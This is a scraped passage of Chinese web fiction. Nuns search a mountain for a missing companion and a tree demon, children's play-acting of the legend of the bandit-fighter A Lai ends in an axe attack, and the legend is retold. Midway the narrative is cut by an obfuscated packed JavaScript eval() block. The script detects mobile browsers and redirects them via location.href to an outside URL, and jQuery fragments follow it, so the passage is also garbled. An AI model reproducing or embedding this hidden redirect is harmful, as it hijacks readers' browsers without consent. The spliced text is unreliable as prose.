“回来作甚？”女子临窗眺望，暮日已尽。


    “念佳人在座，却话西窗。”


    有那么一会，女子讪笑，托手变出本簇新的簿子。


    “正好。”


    “是咯。为夫在外应事，时不我待，难免耽搁。今日娘子生辰，万不该如此，事前预下晚宴酒馔，你我小酌，望娘子赏脸。”


    “看看。”


    随意翻了遍，他看到暗处，一室的礼品，一惊。妇人问他看哪里，认真看。闷声读了几页，越是熟悉，越是惶惑，面上只道吃了再说。


    “过甚生日，给你做生日！——我要把你的心掏出来，”那簿子如风般甩在地上，叫人屈辱，“瞧仔细了，这钱怎么花的，这账怎么做的？”


    他说做生意花钱的地方自然多，人也都有难处，不急于一时。


    女子冷笑，拽着个红玉葫芦，拔掉几根藤黄的流苏。


    “不提也罢，”他伸手去搂妇人，“你要是心疼，为夫赚回来便是。”


    “说得轻巧。”妇人推开他，说他没本事，还学人举贷，笑掉大牙，不给这些刁民点颜色瞧瞧，还以为她的钱是大风刮来的，她的人个顶个的好欺侮！


    “至少打折一条腿。”


    “没人欺侮我。”这婆娘总把人想得太坏，未免过甚，他隐隐有些不乐。


    妇人抱住他，在他耳边轻笑出声：“怎么，有损大爷颜面？装大发可不是这样的，要什么菩萨心肠。——你应该早点认识我的，元阜啊元阜……”


    ————


    雨下得不大，何芸芸回到帘月庵时还是淋湿了。


    她本想是在卜梅亭留一夜，等玉梳，等雨停。只是天太冷，亭子里四面漏风，一个人实在可怕，不如下山去，以玉梳的性子未必久留。思量间，雨愈发小了，何芸芸驾起无咎剑遁入雨中。


    “玉梳可在？”她一回来就看到马雯雯、代可莘。


    代可莘摘下斗笠，“二位不是一处？”


    她二人穿着来时的蓑衣，淡然得很。


    何芸芸解释了下，代说那再等等看咯，马雯雯却说：“我看这麻烦不小。”


    这话戳中了她，“你们早知夜雨来临。”


    “又不会看天象，天冷了加件蓑衣不行呐？”代神色有些古怪。


    “真没看到玉梳？”


    马雯雯哂笑道：“人丢了？何师妹，你不会要怪到我们头上吧？”


    何芸芸抹了把脸，“不是你是谁？”


    “胡静知、怡娜都还没回来呢？你攀扯我们——”


    “不好啦！”哗的一声，门从外面推开，咯吱作响。二班怡娜莽莽撞撞地跑过来，“静知姐被妖怪抓去啦！我们快去救她！”


    这一下，惊动起庵观上下老少，不是透过窗来看，便是披衣走向大殿。


    四师姐田苹儿擎着一炬火把，照亮黢黑的前院。抬头望去，风雨已经停歇。她领着众人往屋外赶，一路走到乡间的岔口，梅山的轮廓愈发清晰，远远地看到一个人摆着手。


    “没事！”


    “……我也没看清楚那妖怪长甚样，不过可以肯定的是，它多半是树妖或是什么花草藤曼之类的。——是个温和的妖怪，没有要我的命，我也没受伤。”大家把落难的人围成一圈，小小烛火在大家的呼吸间摇曳。


    “早不说晚不说现在才说。”何芸芸也把玉梳的事交代了一遍，四师姐忍不住训斥她。


    她羞愧难当，当时人那么多，大家的心思也全不在此，她不知怎的没得出口。


    她低着头看向胡静知湿漉漉的衣服、殷红的擦伤。


    不知是谁打了喷嚏，胡静知拉着她说，“我看那玉梳是有些本事的，担心什么，说不定后半夜人就回来了。再不济，大伙明天一早上山。”


    何芸芸僵硬地点了点头。


    几人这才肯定这人能力最强。


    “是啊，夜深啦，大伙都乏了，早点睡吧。”


    “有什么事明天再说……”


    远远的，烛火越来越弱。


    忽地灯花爆了一下，火苗又窜了起来，胡静知过去敲门，师姐给开了，二人商讨起个中细节。


    “起初我们问到当地族老，无意间打探到梅山以往归村里一个富户所有，百岁以后子嗣断绝，将梅山和部分家财赠与官家，经由门人打理……”


    她们第一天上山发现林木砍伐的痕迹，不以为然，问及此觉似有隐情；而碰到妖邪的人多是晚间出事，想来也是不甚光彩。念及此，她借来一把农用的斧头……


    末了，师姐悠悠笑道：“可惜，你原是最好的，早先这么多人，我最看好你。”


    昏懵了一夜，何芸芸第二天起来发烧了，脸上一片潮红。怡娜也着了凉，连连打着喷嚏。


    “你啊，啊湫~就是瞎操心，啊湫~怎么样，玉梳、回来了吧？”


    何芸芸郁郁道：“没有。”


    “这……”


    这样，几人又跑去梅山。胡静知摸着梅树斑驳的斧印，行过沿途拖拽的乱迹，回忆前事。她记得那妖怪先是来绊她，又来缠她，她二人挥舞手中利器，只觉枝叶横飞，数之不尽。坏在它生出尖刺，扎人的很。转手夺去她的斧头，绕着扭着她跑，原想是看看这妖精要去往何处，不曾想把她吊到高处淋半天雨扔半山脚下就不管了。


    山里是有些精气，倒不成气候，这妖又是哪里来的？


    她们后又来到卜梅亭。何芸芸认定玉梳是在这里不见的，那小孩竹马就落在这，想来也是在这不见的。


    “这妖有分身术，”马雯雯踩在台阶上剔着脚下的泥，“难不成他们不是同一只妖？”


    代可莘挨近马雯雯，有些害怕道：“好像是欸。”


    她们打算回去吃个中饭。刚走到山脚下就听见不远处有小孩的哭闹声，声声刺耳。


    近来一看，一小孩儿一边手吊着快要掉了，血肉翻飞，鲜血淋漓。旁的小孩两股战战，傻了眼，躲得远远的。


    那场面真叫人痛心。她们赶忙跑上前，前后忙活了一下午，饭都来不及吃。


    小孩儿竟是昏迷了三天三夜。这一下东窗事发，大伙都知道这几个伢泼玩上虎贲阿赖的戏儿。他们那天是又跑到梅山脚下——


    “……就应该让我来演阿赖。”黄家小子说，“谁规定的祝老三一定是个胖子，阿赖就不能像我一样壮？”他太婆就夸他，勇敢，和阿赖一样勇敢，强壮。他们都是没有教养的东西。


    “阿赖怎么可能是胖子？”


    “就是，我爷说阿赖是穷鬼没饭吃去打仗，饭都吃不饱，还要打仗，我爷也打过仗，跟你一样，一头猪似的，吃了睡睡了吃？”


    “你那脑子是大粪壳子，糊了屎。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251522|166406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “……”


    这人说不过他们气不过，动起手来。动起手来也打不过他们。他们总是嘲笑他，打完了又接着笑。


    “黄金辉，要人催；玩不飞，扬石灰，胖胖小子会烧水。”


    他抹了抹眼泪，耸耸鼻子，狭小的视线模糊了又清晰，清晰了又模糊起来。什么东西？他看见干草堆里一根棍子，挺沉，拿起来一看，一柄斧头。气涌之下，他砍向一个比他还大一点的小孩，那小孩说他来当阿赖，这会人都吓尿了。“你尿裤子啦！”没砍到，他又去砍其他人，累得他气喘吁吁，满头大汗。


    那大小孩说，“砍累人算啦，让你来当阿赖。”


    他以为在嘲笑自己，朝人奔过去，那孩子窜树上去了，无果，后转头砍向一个嫩小孩，之前说要告发他的，演他的死对头。


    “你叫小祝？过来几年了？”


    “有几年……”那人讷讷道。


    阿赖眯着眼，“姓祝？叫什么来着？家里排第几？”


    “随便叫什么……”


    阿赖说他还挺没个性，不过他倒真没见他们这地儿有几个姓祝的。旁的人说这厮叫祝文杰。


    阿赖一回来便做了件大事，他穿着来时的一身行头上了山。这可把林子里的小弟兄吓了一大跳，直接惊动祝老三。他要求面见祝老三。


    祝老三以为来了什么人物，一看被人好一顿恭维，这才知道来人是哪个？是那个十里八乡有名的无赖，多年未见，越发像个人样。“贤弟别来无恙！”祝老三开口是嘘寒问暖，阿赖倒是一发向他吐苦水。“别来有愧呀，兄长……”总之是在外混得不好，不如大哥风光。


    哪个又容易？大哥感叹他的遭遇，又不得不防此人。


    早先，他任命阿赖在梅山一带活动，阿赖欣然前往。随之而来的是挤走这一带的同行，最后却劫了个致仕回乡于梅林游玩的老官人回来。


    阿赖最是痛恨为官之人，不像他清贫度日，任人差遣。此乃善事，正好邀功。祝老三是万不肯的。“赖弟，你这是当官当傻了，不当人事，以后还不如跟着我混。”他好言把老官人送走，又疑是阿赖在装给他看。


    阿赖也看出来祝老三在有意支开他，一次两次，在做的都不是什么要紧事。像他这样的人物成功还是太难。直到他看见祝大哥牵着小祝的手，阴树林小祝砍掉祝大哥的手……


    原来祝老三是流民，阿赖知道他有一个小弟弟，走丢了，不知是易子而食。而祝文杰本不姓祝，他是家中孩子太多养不起卖给别人的，他也就跟着养父母姓。多年人生曲折的经历让他养成沉默寡言而又随波逐流的性格。


    在阿赖与村民里应外合剿灭了祝老三一伙后，他们分掉了贼人的钱财。地方村民、过往商客活跃起来，越来越多人重新认识阿赖，才认识到阿赖竟是这样一个聪明人。


    “这样一个懒汉，这样一个无赖，让他成功了，让他逞英雄，可见天公不公！”


    阿赖遭到同村邻人的嫉恨、检举，因擅离职守、私建民兵等罪名被革职查办，这一去竟不曾来过。


    “可不可以不要在这里拉屎，真的很臭！”玉梳捏起鼻子。


    地下黑魆魆的，气味却在密不透风的环境里无孔不入。


    没有憋死她也是个奇迹。


    “我在天上拉不出来。”那小孩用土掩盖粪便。